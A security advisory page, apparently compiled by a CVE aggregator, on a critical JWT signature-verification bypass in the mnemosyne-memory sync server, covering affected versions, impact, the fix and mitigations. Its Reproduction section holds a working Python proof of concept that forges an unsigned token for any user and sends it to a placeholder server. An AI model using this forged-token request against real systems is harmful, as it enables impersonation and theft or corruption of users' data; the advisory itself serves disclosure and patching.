# CVE-2026-59163: Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

> CVE-2026-59163 (GitHub advisory GHSA-xcw4-53cc-hv32) is a critical-severity vulnerability with a CVSS 3.1 base score of 9.1, classed as Improper Verification of Cryptographic Signature (CWE-347), in mnemosyne-memory (PyPI). Affected versions: <= 3.10.0. It is fixed in 3.10.1.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-59163

| Field | Value |
| --- | --- |
| CVE | CVE-2026-59163 |
| GHSA | GHSA-xcw4-53cc-hv32 |
| Severity | Critical |
| CVSS 3.1 | 9.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (GitHub Advisory Database) |
| CWE | CWE-347 Improper Verification of Cryptographic Signature |
| EPSS | 0.25% (higher than 16% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable yes, technical impact total |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.

**Severity: Critical**

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1

Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.

##### Affected versions

All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.

##### Patched versions

v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)

___

##### Description

The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.

The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:

- Constant-time signature comparison via hmac.compare_digest
- Strict alg: HS256 check, rejecting none and other algorithms
- UTC-aware exp validation with leeway
- Loud errors with specific failure reasons
- Type validation of decoded payload before use

##### Impact

An attacker with network access to the sync server can:

- Forge a JWT for any user_id without knowing the secret
- Authenticate as that user to /sync/status, /sync/push, and /sync/pull
- Read the victim's sync state
- Push malicious sync state to corrupt the victim's local database
- Pivot within a shared deployment (multi-user sync server)

Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.

##### Reproduction

```python
import base64
import json
import requests

### Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
    ).rstrip(b"=")
    payload = base64.urlsafe_b64encode(
        json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
    ).rstrip(b"=")
    sig = b""
    return f"{header.decode()}.{payload.decode()}."

r = requests.get(
    "https://target.example.com/sync/status",
    headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
```

A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.

##### Mitigation

Upgrade to v3.10.1.

For users who cannot upgrade immediately:

- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
- The vulnerability is not exploitable against an unreachable endpoint.

##### Workarounds

None. The patch is required to restore authentication integrity.

##### Credits

- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
- Fix: Denis Hache

##### Timeline
- 2026-06-13: Initial report received from Denis via private channel.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| mnemosyne-memory | PyPI | `pkg:pypi/mnemosyne-memory` | <= 3.10.0 | 3.10.1 |

## Fix commits

- Patch: https://github.com/mnemosyne-oss/mnemosyne/commit/a0b6b8711a1a485304971710dc3571e29ff9dbeb
- Pull request: https://github.com/mnemosyne-oss/mnemosyne/pull/373
- Release: https://github.com/mnemosyne-oss/mnemosyne/commit/f8b9aa940b477797f8eec33a0282d680a43b7c50 (3.10.1)

## Questions

**What is the GHSA ID for CVE-2026-59163?**

GitHub tracks CVE-2026-59163 as GHSA-xcw4-53cc-hv32.

**What is the CVSS score of CVE-2026-59163?**

CVE-2026-59163 has a CVSS 3.1 base score of 9.1 (Critical), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.

**Which versions are affected by CVE-2026-59163?**

mnemosyne-memory (PyPI): <= 3.10.0.

**How do I fix CVE-2026-59163?**

Upgrade to 3.10.1 or later. The fix is in commit a0b6b87 and pull request #373.

**What is the Package URL (PURL) for CVE-2026-59163?**

The affected package's PURL is pkg:pypi/mnemosyne-memory.

**Is CVE-2026-59163 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-59163. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.25% chance of exploitation in the next 30 days, higher than 16% of CVEs.

## References

- https://github.com/mnemosyne-oss/mnemosyne/pull/373 (fix)
- https://github.com/mnemosyne-oss/mnemosyne/commit/a0b6b8711a1a485304971710dc3571e29ff9dbeb (fix)
- https://github.com/AxDSan/mnemosyne/security/advisories/GHSA-xcw4-53cc-hv32 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59163.json (advisory)
- https://github.com/mnemosyne-oss/mnemosyne/security/advisories/GHSA-xcw4-53cc-hv32 (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-59163 (advisory)
- https://github.com/advisories/GHSA-xcw4-53cc-hv32 (advisory)
- https://github.com/AxDSan/mnemosyne (package)
- https://github.com/mnemosyne-oss/mnemosyne/releases/tag/v3.10.1

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-59163), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
